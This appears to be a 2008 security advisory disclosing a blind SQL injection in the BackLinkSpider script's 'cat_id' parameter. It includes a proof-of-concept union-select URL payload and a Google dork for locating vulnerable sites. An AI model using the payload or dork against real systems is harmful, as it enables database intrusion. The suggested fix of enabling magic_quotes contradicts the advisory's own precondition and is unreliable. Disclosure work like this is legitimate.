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\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
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                                        .OR.ID
ECHO_ADV_95$2008

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[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : BackLinkSpider
version       : unknown
Vendor        : http://www.backlinkspider.com/
Description   :

BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page
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Vulnerability:
~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query. 
This can be exploited to execute sql query through the browser.
Successful exploitation requires that "magic_quotes" is enabled.


Poc/Exploit:

~~~~~~~~~
http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*


Dork:
~~~~
Google    : "Powered By BackLinkSpider" "inurl:backlinkspider.php"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 03 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
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Shoutz:
~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
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Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2008-05-05]